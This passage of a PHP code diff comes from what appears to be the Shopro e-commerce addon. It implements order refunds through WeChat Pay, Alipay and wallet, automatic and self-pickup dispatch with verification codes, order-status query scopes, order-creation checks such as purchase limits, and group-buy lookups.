$refund_fee = $refund_money * 100;
$order_data = array_merge($order_data, [
'out_refund_no' => $refundLog->refund_sn,
'total_fee' => $total_fee,
'refund_fee' => $refund_fee,
'refund_desc' => $remark,
]);
} else {
$order_data = array_merge($order_data, [
'out_request_no' => $refundLog->refund_sn,
'refund_amount' => $refund_money,
]);
}
$notify_url = request()->domain() . '/addons/shopro/pay/notifyr/payment/' . $order->pay_type . '/platform/' . $order->platform;
$pay = new \addons\shopro\library\PayService($order->pay_type, $order->platform, $notify_url);
$result = $pay->refund($order_data);
\think\Log::write('refund-result' . json_encode($result));
if ($order->pay_type == 'wechat') {
// 微信通知回调 pay->notifyr
if ($result['return_code'] == 'SUCCESS' && $result['result_code'] == 'SUCCESS') {
return true;
} else {
throw new \Exception($result['return_msg']);
}
} else {
// 支付宝通知回调 pay->notifyx
if ($result['code'] == "10000") {
return true;
} else {
throw new \Exception($result['msg']);
}
}
// { // 微信返回结果
// "return_code":"SUCCESS",
// "return_msg":"OK",
// "appid":"wx39cd0799d4567dd0",
// "mch_id":"1481069012",
// "nonce_str":"huW9eIAb5BDPn0Ma",
// "sign":"250316740B263FE53F5DFF50AF5A8FA1",
// "result_code":"SUCCESS",
// "transaction_id":"4200000497202004072822298902",
// "out_trade_no":"202010300857029180027000",
// "out_refund_no":"1586241595",
// "refund_id":"50300603862020040700031444448",
// "refund_channel":[],
// "refund_fee":"1",
// "coupon_refund_fee":"0",
// "total_fee":"1",
// "cash_fee":"1",
// "coupon_refund_count":"0",
// "cash_refund_fee":"1
// }
// { // 支付宝返回结果
// "code": "10000",
// "msg": "Success",
// "buyer_logon_id": "157***@163.com",
// "buyer_user_id": "2088902485164146",
// "fund_change": "Y",
// "gmt_refund_pay": "2020-08-15 16:11:45",
// "out_trade_no": "202002460317545607015300",
// "refund_fee": "0.01",
// "send_back_fee": "0.00",
// "trade_no": "2020081522001464141438570535"
// }
} else if ($order->pay_type == 'wallet') {
// 余额退款
if ($refund_money != 0) {
\addons\shopro\model\User::money($refund_money, $order->user_id, 'wallet_refund', $order->id, '', [
'order_id' => $order->id,
'order_sn' => $order->order_sn,
'item_id' => $item->id,
]);
}
self::refundFinish($order, $item, $refundLog);
return true;
} else if ($order->pay_type == 'score') {
// 积分退款,暂不支持积分退款
}
}
public static function refundFinish($order, $item, $refundLog)
{
// 退款完成
$refundLog->status = 1;
$refundLog->save();
// 退款完成
$item->refund_status = \app\admin\model\shopro\order\OrderItem::REFUND_STATUS_FINISH; // 退款完成
$item->save();
\addons\shopro\model\OrderAction::operAdd($order, $item, null, 'admin', '退款成功');
}
public function setExt($order, $field, $origin = [])
{
$newExt = array_merge($origin, $field);
$orderExt = $order['ext_arr'];
return array_merge($orderExt, $newExt);
}
}

查看文件

@@ -0,0 +1,390 @@
<?php
namespace addons\shopro\library\traits\model\order;
use addons\shopro\exception\Exception;
use addons\shopro\model\Dispatch;
use addons\shopro\model\DispatchAutosend;
use addons\shopro\model\DispatchSelfetch;
use addons\shopro\model\DispatchStore;
use addons\shopro\model\Goods;
use addons\shopro\model\Verify;
use addons\shopro\model\User;
use addons\shopro\model\Order;
use addons\shopro\model\OrderAction;
use addons\shopro\model\OrderItem;
use addons\shopro\model\Store;
use think\Cache;
use think\Db;
trait OrderOperSendGet
{
/**
* 支付完成检测并发货,检测拼团是否成功(grouponCheckAndSend),比这个先执行
*/
public function checkDispatchAndSend($order, $params)
{
$user = $params['user'] ?? null;
if (!$user) {
$user = User::where('id', $order['user_id'])->find();
}
// 拼团不自动发货,等成团完成才发货
$orderExt = $order['ext_arr'];
$buy_type = ($orderExt && isset($orderExt['buy_type'])) ? $orderExt['buy_type'] : '';
if (strpos($order['activity_type'], 'groupon') !== false && $buy_type == 'groupon') {
// 拼团订单,并且是拼团购买(拼团不能加入购物车,一个订单只能有一个商品),自动发货要等到拼团成功才进行
return true;
}
// 检测需要自动发货的 item
$this->systemCheckAutoSend($order);
return true;
}
/**
* 拼团完成,检测需要自动发货的商品,并发货(执行的是被 checkDispatchAndSend 方法 过滤掉的拼团的自动发货订单)
*/
public function grouponCheckAndSend($order)
{
$this->systemCheckAutoSend($order);
return true;
}
/**
* 系统检测自动发货
*/
private function systemCheckAutoSend($order)
{
// 判断订单是否有需要发货的商品,并进行自动发货(selfetch虚拟自提,autosend)
foreach ($order->item as $key => $item) {
// 判断不是未发货状态,或者退款完成,continue
if (
$item['dispatch_status'] != \addons\shopro\model\OrderItem::DISPATCH_STATUS_NOSEND
|| in_array($item['refund_status'], [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH])
) {
// 订单已发货,或者已完成退款
continue;
}
switch ($item['dispatch_type']) {
case 'selfetch':
// 到店自提:支付成功后自动生成核销码(含实物商品)
$this->selfetchSendItem($order, $item, ['oper_type' => 'system']);
break;
case 'autosend':
// 自动发货
$this->autoSendItem($order, $item, ['oper_type' => 'system']);
}
}
}
/**
* 门店订单发货
*/
public function storeOrderSend($order)
{
$store = Store::info();
foreach ($order['item'] as $key => $item) {
switch ($item['dispatch_type']) {
case 'selfetch':
$this->selfetchSendItem($order, $item, ['oper_type' => 'store', 'oper' => $store]);
break;
case 'store':
// 商家配送
$this->storeSendItem($order, $item, ['oper_type' => 'store', 'oper' => $store]);
}
}
}
/**
* admin 门店订单发货
*/
public function adminStoreOrderSend($order, $items, $data)
{
foreach ($items as $key => $item) {
switch ($item['dispatch_type']) {
case 'selfetch':
$this->selfetchSendItem($order, $item, $data);
break;
case 'store':
// 商家配送
$this->storeSendItem($order, $item, $data);
}
}
}
/**
* autosend 单商品自动发货
*/
private function autoSendItem($order, $item, $data = [])
{
// 获取配送模板
$dispatch = Dispatch::where('type', $item['dispatch_type'])->where('id', $item['dispatch_id'])->find();
$dispatch_autosend_ids = explode(',', $dispatch->type_ids);
$dispatchAutosend = DispatchAutosend::where('id', 'in', $dispatch_autosend_ids)
->order('id', 'asc')->find();
$ext = [];
if ($dispatchAutosend) {
if (in_array($dispatchAutosend['type'], ['text', 'params'])) {
$ext['autosend_type'] = $dispatchAutosend['type'];
$autosend_content = $dispatchAutosend['content'];
if ($dispatchAutosend['type'] == 'params') {
$autosend_content = DispatchAutosend::getParamsContent($autosend_content);
}
$ext['autosend_content'] = $autosend_content;
} else if ($dispatchAutosend['type'] == 'card') {
// 电子卡密,待补充
}
}
$this->sendItem($order, $item, [
'ext' => $ext,
"oper_type" => $data['oper_type'],
]);
}
/**
* selfetch 自提/到店 单商品发货
*/
private function selfetchSendItem($order, $item, $data = [])
{
// 获取配送模板
$dispatch = Dispatch::where('type', $item['dispatch_type'])->where('id', $item['dispatch_id'])->find();
$type_ids = $dispatch['type_ids'] ?? '';
$dispatch_selfetch_ids = explode(',', $type_ids);
$dispatchSelfetch = DispatchSelfetch::where('id', 'in', $dispatch_selfetch_ids)
->order('id', 'asc')->find();
$expiretime = null; // 核销券过期时间
if ($dispatchSelfetch) {
if ($dispatchSelfetch['expire_type'] == 'day') {
$expire_day = $dispatchSelfetch['expire_day'] > 0 ? $dispatchSelfetch['expire_day'] : 0;
$expiretime = $expire_day ? (time() + ($expire_day * 86400)) : null;
} else {
$expiretime = (int)$dispatchSelfetch['expire_time'] ?: null;
// 固定截至日期已过期时,不写入过期时间,避免核销码一生成即失效
if ($expiretime && $expiretime <= time()) {
$expiretime = null;
}
}
}
if ($item['goods_type'] == 'virtual') {
// 商品购买多件,自动生成多个码
for ($i = 0; $i < $item['goods_num']; $i++) {
$this->createVerify($order, $item, [
'expiretime' => $expiretime
]);
}
} else {
// 商品购买多件,只生成一个码
$this->createVerify($order, $item, [
'expiretime' => $expiretime
]);
}
$this->sendItem($order, $item, [
"oper_type" => $data['oper_type'],
]);
}
/**
* store 商家配送 单商品发货
*/
private function storeSendItem($order, $item, $data = [])
{
// 获取配送模板
$dispatch = Dispatch::where('type', $item['dispatch_type'])->where('id', $item['dispatch_id'])->find();
$type_ids = $dispatch['type_ids'] ?? '';
$dispatch_store_ids = explode(',', $type_ids);
$dispatchStore = DispatchStore::where('id', 'in', $dispatch_store_ids)
->order('id', 'asc')->find();
$expiretime = null; // 核销券过期时间
if ($dispatchStore) {
// 可以干一些事
}
$this->sendItem($order, $item, [
"oper_type" => $data['oper_type'],
]);
}
// 发货
public function sendItem($order, $item, $data = [])
{
// 订单发货前
$hookData = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_send_before', $hookData);
$item->express_name = $data['express_name'] ?? null;
$item->express_code = $data['express_code'] ?? null;
$item->express_no = $data['express_no'] ?? null;
$ext = ['send_time' => time()];
if (isset($data['ext']) && $data['ext']) {
$ext = array_merge($ext, $data['ext']);
}
$item->ext = json_encode($item->setExt($item, $ext));
$item->dispatch_status = \addons\shopro\model\OrderItem::DISPATCH_STATUS_SENDED; // 已发货状态
$item->save();
$oper_type = $data['oper_type'] ?? 'system';
$oper = $data['oper'] ?? null;
extract($this->getOper($oper_type, $oper));
\addons\shopro\model\OrderAction::operAdd($order, $item, $oper, $oper_type, $oper_iden . '发货订单');
// 订单发货后
$hookData = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_send_after', $hookData);
return $item;
}
/**
* 核销二维码并确认收货
*/
public function verifyGeted($order, $item, $verify, $data = [])
{
// 获取操作人
$oper_type = $data['oper_type'] ?? 'system';
$oper = $data['oper'] ?? null;
extract($this->getOper($oper_type, $oper));
// 使用掉核销券
$verify->usetime = time();
$verify->oper_type = $oper_type;
$verify->oper_id = $oper ? $oper['id'] : 0;
$verify->save();
// 查询当前订单 item 所有核销券
$verifiy_num = Verify::canUse()->where('order_item_id', $item['id'])
->where('type', 'verify')
->count();
// 判断所有核销码全部核销才能确认收货
if (!$verifiy_num) {
// 没有可用优惠券,订单收货
$this->getedItem($order, $item, $data);
}
}
/**
* 收货订单
*/
public function getedItem($order, $item, $data = [])
{
// 订单确认收货前
$hookData = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_confirm_before', $hookData);
$ext = ['confirm_time' => time()];
if (isset($data['ext']) && $data['ext']) {
$ext = array_merge($ext, $data['ext']);
}
$item->ext = json_encode($item->setExt($item, $ext));
$item->dispatch_status = OrderItem::DISPATCH_STATUS_GETED; // 确认收货
$item->save();
$oper_type = $data['oper_type'] ?? 'system';
$oper = $data['oper'] ?? null;
extract($this->getOper($oper_type, $oper));
OrderAction::operAdd($order, $item, $oper, $oper_type, $oper_iden . '确认收货');
// 订单确认收货后
$hookData = ['order' => $order, 'item' => $item];
\think\Hook::listen('order_confirm_after', $hookData);
return $order;
}
/**
* 生成码
*/
private function createVerify($order, $item = null, $data = [])
{
$verify = new Verify();
$verify->user_id = $order['user_id'];
$verify->type = 'verify';
$verify->order_id = $order['id'];
$verify->order_item_id = $item['id'] ?? 0;
$verify->expiretime = $data['expiretime'];
$i = 0;
do {
// 循环生成唯一核销码
$is_error = false;
try {
$verify->code = Verify::getCode();
$verify->save();
} catch (\think\exception\PDOException $e) {
if ($e->getCode() == '10501') {
$is_error = true;
}
$i++;
if ($i > 5) {
if (strpos(request()->url(), 'addons') !== false) {
// 接口响应
new Exception('核销码生成失败');
} else {
// 后台响应
throw new \Exception('核销码生成失败');
}
}
}
} while ($is_error);
}
/**
* 根据 oper_type 获取对应的用户
*/
private function getOper($oper_type, $origin_oper = null)
{
$oper = null;
$oper_iden = '系统自动';
if ($oper_type == 'system') {
// 系统自动操作
$oper = null;
$oper_iden = '系统自动';
} else if ($oper_type == 'user') {
// 用户操作
$oper = $origin_oper ?: User::info();
$oper_iden = '用户';
} else if ($oper_type == 'admin') {
// 管理员操作
$oper = $origin_oper ?: null;
$oper_iden = '管理员';
} else if ($oper_type == 'store') {
// 门店管理员操作
$oper = $origin_oper ?: Store::info();
$oper_iden = '门店管理员';
}
return compact("oper", "oper_iden");
}
}

查看文件

@@ -0,0 +1,300 @@
<?php
namespace addons\shopro\library\traits\model\order;
use addons\shopro\library\Wechat;
use addons\shopro\model\Order;
use addons\shopro\model\OrderItem;
use addons\shopro\model\Store;
use think\Cache;
trait OrderScope
{
// 已失效
public function scopeInvalid($query)
{
return $query->where('status', Order::STATUS_INVALID);
}
// 已取消
public function scopeCancel($query)
{
return $query->where('status', Order::STATUS_CANCEL);
}
// 未支付
public function scopeNopay($query)
{
return $query->where('status', Order::STATUS_NOPAY);
}
// 未发货
public function scopeNosend($query)
{
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_NOSEND,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]] // 没有退款完成
];
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
})->whereNotExists(function ($query) use($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where(['aftersale_status' => OrderItem::AFTERSALE_STATUS_AFTERING])->where($where);
});
}
// 待收货
public function scopeNoget($query)
{
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_SENDED,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]] // 没有退款完成
];
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 待评价
public function scopeNocomment($query)
{
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_GETED,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]], // 没有退款完成
'comment_status' => OrderItem::COMMENT_STATUS_NO
];
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 售后 (后台要用,虽然有专门的售后单列表)
public function scopeAftersale($query)
{
return $query->whereExists(function ($query) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')
->where('aftersale_status', '<>', OrderItem::AFTERSALE_STATUS_NOAFTER);
// ->where(function($query) {
// // 只要申请过售后都算
// $query->where('aftersale_status', '<>', OrderItem::AFTERSALE_STATUS_NOAFTER)
// ->whereOr('refund_status', '<>', OrderItem::REFUND_STATUS_NOREFUND);
// });
});
}
// 退款 (即将废弃,有专门的售后单列表)
public function scopeRefundStatus($query)
{
$where = [
'refund_status' => ['<>', OrderItem::REFUND_STATUS_NOREFUND], // 只要申请过退款
];
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 已支付
public function scopePayed($query)
{
return $query->where('status', 'in', [Order::STATUS_PAYED, Order::STATUS_FINISH]);
}
/**
* 排除拼团进行中的订单(成团成功后再进入待发货/备货流程)
*/
public function scopeExcludeGrouponIng($query)
{
$orderTable = (new Order())->getQuery()->getTable();
$grouponTable = (new \addons\shopro\model\ActivityGroupon())->getQuery()->getTable();
return $query->whereNotExists(function ($sub) use ($orderTable, $grouponTable) {
$sub->table($grouponTable)
->whereRaw($grouponTable . '.id = CAST(JSON_UNQUOTE(JSON_EXTRACT(' . $orderTable . '.ext, "$.groupon_id")) AS UNSIGNED)')
->where($grouponTable . '.status', 'ing');
});
}
// 已完成
public function scopeFinish($query)
{
return $query->where('status', Order::STATUS_FINISH);
}
public function scopeCanAftersale($query)
{
return $query->where('status', 'in', [Order::STATUS_PAYED, Order::STATUS_FINISH]);
}
public function scopeCanDelete($query)
{
return $query->where('status', 'in', [
Order::STATUS_CANCEL,
Order::STATUS_INVALID,
Order::STATUS_FINISH
]);
}
// 门店订单 scope
// 获取门店 id 条件
private function getStoreWhere($store_id) {
$where = [];
if ($store_id == 'current') {
// 默认手机商户端,取当前登陆的门店
$store = Store::info();
$where['store_id'] = $store['id'];
} else {
if ($store_id) {
$where['store_id'] = $store_id;
} else {
$where['store_id'] = ['<>', 0];
}
}
return $where;
}
/**
* 全部订单
*/
public function scopeStore($query, $store_id = 'current')
{
$where = $this->getStoreWhere($store_id);
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
/**
* 未发货
*/
public function scopeStoreNosend($query, $store_id = 'current') {
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_NOSEND,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]] // 没有退款完成
];
$where = array_merge($where, $this->getStoreWhere($store_id));
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
/**
* 未收货
*/
public function scopeStoreNoget($query, $store_id = 'current') {
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_SENDED,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]] // 没有退款完成
];
$where = array_merge($where, $this->getStoreWhere($store_id));
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 待评价
public function scopeStoreNocomment($query, $store_id = 'current')
{
$where = [
'dispatch_status' => OrderItem::DISPATCH_STATUS_GETED,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]], // 没有退款完成
'comment_status' => OrderItem::COMMENT_STATUS_NO
];
$where = array_merge($where, $this->getStoreWhere($store_id));
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 门店售后订单
public function scopeStoreAftersale($query, $store_id = 'current')
{
$where = [
'aftersale_status' => ['<>', OrderItem::AFTERSALE_STATUS_NOAFTER]
];
$where = array_merge($where, $this->getStoreWhere($store_id));
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
// 退款
public function scopeStoreRefundStatus($query, $store_id = 'current')
{
$where = [
'refund_status' => ['<>', OrderItem::REFUND_STATUS_NOREFUND], // 只要申请过退款
];
$where = array_merge($where, $this->getStoreWhere($store_id));
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
/**
* 已完成,这个只手机门店订单查询
*/
public function scopeStoreFinish($query) {
$store = Store::info();
// 收完货就算已完成
$where = [
'store_id' => $store['id'],
'dispatch_status' => OrderItem::DISPATCH_STATUS_GETED,
'refund_status' => ['not in', [OrderItem::REFUND_STATUS_OK, OrderItem::REFUND_STATUS_FINISH]] // 没有退款完成
];
return $query->whereExists(function ($query) use ($where) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($table_name)->where('order_id=' . $order_table_name . '.id')->where($where);
});
}
}

查看文件

@@ -0,0 +1,198 @@
<?php
namespace addons\shopro\listener\order;
use addons\shopro\exception\Exception;
use addons\shopro\model\Cart;
use addons\shopro\model\Config;
use addons\shopro\model\Order;
use addons\shopro\model\OrderItem;
use addons\shopro\model\User;
use addons\shopro\library\traits\StockSale;
use addons\shopro\library\traits\ActivityCache;
use addons\shopro\library\traits\Groupon;
use addons\shopro\model\ActivityGroupon;
/**
* 订单创建
*/
class Create
{
use StockSale, ActivityCache, Groupon;
// 订单创建前
public function orderCreateBefore(&$params)
{
$user = $params['user'];
$order_type = $params['order_type'];
$groupon_id = $params['groupon_id'];
$buy_type = $params['buy_type'];
$goods_original_amount = $params['goods_original_amount'];
$goods_amount = $params['goods_amount'];
$dispatch_amount = $params['dispatch_amount'];
$total_amount = $params['total_amount'];
$score_amount = $params['score_amount'];
$total_fee = $params['total_fee'];
$discount_fee = $params['discount_fee'];
$coupon_fee = $params['coupon_fee'];
$new_goods_list = $params['new_goods_list'];
$activity_type = $params['activity_type'];
$user_coupons = $params['user_coupons'];
$user_address = $params['user_address'];
$from = $params['from'];
// 重新获取 user
$user = User::where('id', $user->id)->find();
// 如果需要支付积分
if ($score_amount) {
// 判断个人积分是否充足
if ($user->score < $score_amount) {
// 积分不足
new Exception('积分不足');
}
}
// 限购
$this->limitBuy($new_goods_list, $user);
// 是拼团, 并且不是单独购买 ,单独购买直接正常走商品流程
if (strpos($activity_type, 'groupon') !== false && $buy_type != 'alone') {
// 参与现有团
if ($groupon_id) {
// 获取当前团,并判断当前团是否可参与
$activityGroupon = $this->checkJoinGroupon($new_goods_list[0], $user, $groupon_id);
} else {
// 开新团,放到 支付成功之后
// $activityGroupon = $this->newGroupon($new_goods_list[0], $user);
}
}
// 判断 并 增加 redis 销量
if ($order_type == 'goods') {
$this->cacheForwardSale($new_goods_list);
}
// (开新团不判断)参与旧团 增加预拼团人数,上面加入团的时候已经判断过一次了,所以这里 99.99% 会加入成功的
if (isset($activityGroupon) && $activityGroupon) {
// 将团信息缓存,用在后续下单流程
$key = 'grouponinfo-' . $user['id'];
cache($key, json_encode($activityGroupon), 60);
// 增加拼团预成员人数, 拼团只能单独购买
$detail = $new_goods_list[0]['detail'];
$this->grouponCacheForwardNum($activityGroupon, $detail['activity'], $user);
}
}
// 订单创建后
public function orderCreateAfter(&$params)
{
$user = $params['user'];
$order = $params['order'];
$from = $params['from'];
$groupon = $params['groupon'];
$buy_type = $params['buy_type'];
$new_goods_list = $params['new_goods_list'];
// 删除购物车
if ($from == 'cart') {
foreach ($new_goods_list as $delCart) {
Cart::where([
'user_id' => $user->id,
'goods_id' => $delCart['goods_id'],
'sku_price_id' => $delCart['sku_price_id'],
])->delete();
}
}
// 更新订单扩展字段
$order_ext = $order['ext_arr'];
$order_ext['buy_type'] = ($buy_type === 'groupon') ? 'groupon' : 'alone'; // 购买方式
$order_ext['groupon_id'] = (int)($groupon['id'] ?? 0); // 参团时写入团 id,开团支付后再更新
// 判断需要支付的金额是否大于 0
if ($order['total_fee'] <= 0) {
// 更新订单扩展字段
$order->ext = json_encode($order_ext);
$order->save();
$order = (new Order)->paymentProcess($order, [
'order_sn' => $order['order_sn'],
'transaction_id' => '',
'notify_time' => date('Y-m-d H:i:s'),
'buyer_email' => $user->id,
'payment_json' => json_encode([]),
'pay_fee' => $order->total_fee,
'pay_type' => $order['type'] == 'score' ? 'score' : 'wallet' // 支付方式 积分完全支付,或者不需要支付,使用 wallet
]);
} else {
// 默认取第一个商品
$goods_one = $new_goods_list[0]['detail'];
$activity_one = $goods_one['activity'];
// 获取第一个商品的活动规则,活动不存在,自动会使用全局自动关闭
$rules = $activity_one['rules'] ?? [];
// 优先使用活动的订单关闭时间
if (isset($rules['order_auto_close']) && $rules['order_auto_close'] > 0) {
$close_minue = $rules['order_auto_close'];
} else {
// 添加自动关闭队列
$config = Config::where('name', 'order')->cache(300)->find(); // 读取配置自动缓存 5 分钟
$config = isset($config) ? json_decode($config['value'], true) : [];
$close_minue = (isset($config['order_auto_close']) && $config['order_auto_close'] > 0)
? $config['order_auto_close'] : 15;
}
// 更新订单,将过期时间存入订单,前台展示支付倒计时
$order_ext['expired_time'] = time() + ($close_minue * 60);
\think\Queue::later(($close_minue * 60), '\addons\shopro\job\OrderAutoOper@autoClose', ['order' => $order], 'shopro');
// 更新订单扩展字段
$order->ext = json_encode($order_ext);
$order->save();
}
return $order;
}
/**
* 判断是否限制购买
*/
private function limitBuy($new_goods_list, $user)
{
foreach ($new_goods_list as $key => $goods) {
$detail = $goods['detail'];
$activity = $detail['activity'];
$rules = $activity['rules'] ?? [];
// 不存在,或者 0 不限制
if (!isset($rules['limit_buy']) || $rules['limit_buy'] <= 0) {
continue;
}
// 查询用户老订单,判断本次下单数量,判断是否超过购买限制, 未支付的或者已完成的都算
$buy_num = OrderItem::where('user_id', $user['id'])->where('goods_id', $detail['id'])->where('activity_id', $activity['id'])
->whereExists(function ($query) use ($detail, $activity) {
$order_table_name = (new Order())->getQuery()->getTable();
$table_name = (new OrderItem())->getQuery()->getTable();
$query->table($order_table_name)->where('order_id=' . $order_table_name . '.id')
->where('status', '>=', Order::STATUS_NOPAY); // 未支付,或者已支付的订单都算
})->sum('goods_num');
if (($buy_num + $goods['goods_num']) > $rules['limit_buy']) {
$msg = '该商品限购 ' . $rules['limit_buy'] . ' 件';
if ($buy_num < $rules['limit_buy']) {
$msg .= ',当前还可购买 ' . ($rules['limit_buy'] - $buy_num) . ' 件';
}
new Exception($msg);
}
}
}
}

查看文件

@@ -0,0 +1,186 @@
<?php
namespace addons\shopro\model;
use addons\shopro\exception\Exception;
use addons\shopro\model\Order;
use think\Model;
/**
* 活动-拼团
*/
class ActivityGroupon extends Model
{
// 表名,不含前缀
protected $name = 'shopro_activity_groupon';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'int';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = 'updatetime';
protected $hidden = [];
// 追加属性
protected $append = [
];
// 获取正在进行中的团
public static function getActivityGroupon($params)
{
$goods_id = $params['goods_id'] ?? 0;
$activity_id = $params['activity_id'] ?? 0;
$activityGroupons = self::with('leader')
->where('goods_id', $goods_id)
->where('activity_id', $activity_id)
->where('status', 'ing')
->limit(10)
->select();
return $activityGroupons;
}
// 团详情
public static function getActivityGrouponDetail ($id) {
$activityGroupon = self::with(['my', 'grouponLog', 'activity' => function ($query) {
$query->removeOption('soft_delete')->with('activity_goods_sku_price'); // 关联团所属活动,并关联活动规格
}])->where('id', $id)->find();
if (!$activityGroupon) {
new Exception('团未找到');
}
$detail = Goods::getGoodsDetail($activityGroupon['goods_id']); // 正常团选规格时候要用
$activityGroupon['goods'] = $detail;
// 初始化拼团价为商品价,防止活动被物理删除
$activityGroupon['goods']['groupon_price'] = $activityGroupon['goods']['price'];
// 初始化活动状态为已结束
$activityGroupon['activity_status'] = 'ended';
// 处理当时的活动价格
if ($activityGroupon['activity']) {
$activity = $activityGroupon['activity'];
$activityGroupon['activity_status'] = $activity['status_code'];
$currentGoodsActivitySkuPrices = [];
foreach ($activity['activity_goods_sku_price'] as $k => $skuPrice) {
if ($skuPrice['status'] == 'up' && $skuPrice['goods_id'] == $activityGroupon['goods_id']) {
$currentGoodsActivitySkuPrices[] = $skuPrice;
}
}
if ($currentGoodsActivitySkuPrices) {
// 当时参加活动真实销量
$activityGroupon['goods']['sales'] = array_sum(array_column($currentGoodsActivitySkuPrices, 'sales'));
// 这个是活动最低价
$activityGroupon['goods']['groupon_price'] = $activityGroupon['goods']['price'] = min(array_column($currentGoodsActivitySkuPrices, 'price'));
}
}
return $activityGroupon;
}
/**
* 获取我的拼团列表
*
* @param [type] $type
* @return void
*/
public static function getMyGroupon($type) {
$user = User::info();
$logs = \addons\shopro\model\ActivityGrouponLog::with(['groupon', 'order.firstItem', 'goods' => function ($query) {
$query->removeOption('soft_delete'); // 商品查询包括被软删除的
}])->whereExists(function ($query) {
$logTable = (new \addons\shopro\model\ActivityGrouponLog())->getQuery()->getTable();
$orderTable = (new Order())->getQuery()->getTable();
$query->table($orderTable)->where($orderTable . '.id=' . $logTable . '.order_id')
->where('status', '>=', Order::STATUS_PAYED);
});
if ($type != 'all') {
$type = $type == 'finish' ? ['finish', 'finish-fictitious'] : [$type];
$logs = $logs->whereExists(function ($query) use ($type) {
$log_name = (new \addons\shopro\model\ActivityGrouponLog())->getQuery()->getTable();
$groupon_name = (new \addons\shopro\model\ActivityGroupon())->getQuery()->getTable();
$query->table($groupon_name)->where('id=' . $log_name . '.groupon_id')
->where('status', 'in', $type);
});
}
$logs = $logs->where('user_id', $user->id)
->order('id', 'desc')
->paginate(10)->toArray();
// 将列表的显示价格,都查当时购买的价格,和当时对应的活动的 真实销量
if ($grouponLogs = $logs['data']) {
// 拿到所有活动 ids
$activity_ids = array_column($grouponLogs, 'activity_id');
// 一次获取所有活动,包括被软删除的活动,并关联规格
$activities = \addons\shopro\model\Activity::withTrashed()
->with('activityGoodsSkuPrice')
->where('id', 'in', $activity_ids)->select();
$activities = array_column($activities, null, 'id');
foreach ($grouponLogs as $key => $grouponLog) {
if (isset($grouponLog['goods']) && $grouponLog['goods'] && isset($activities[$grouponLog['activity_id']])) {
$activity = $activities[$grouponLog['activity_id']];
// 拿到当前商品对应的活动规格
$currentGoodsActivitySkuPrices = [];
foreach ($activity['activityGoodsSkuPrice'] as $k => $skuPrice) {
if ($skuPrice['status'] == 'up' && $skuPrice['goods_id'] == $grouponLog['goods_id']) {
$currentGoodsActivitySkuPrices[] = $skuPrice;
}
}
// 当时参加活动真实销量
if ($currentGoodsActivitySkuPrices) {
$grouponLogs[$key]['goods']['sales'] = array_sum(array_column($currentGoodsActivitySkuPrices, 'sales'));
}
// 这个是购买时候的活动单价
if (isset($grouponLog['order']['first_item'])) {
$grouponLogs[$key]['goods']['price'] = $grouponLog['order']['first_item']['goods_price'];
}
}
}
$logs['data'] = $grouponLogs;
}
return $logs;
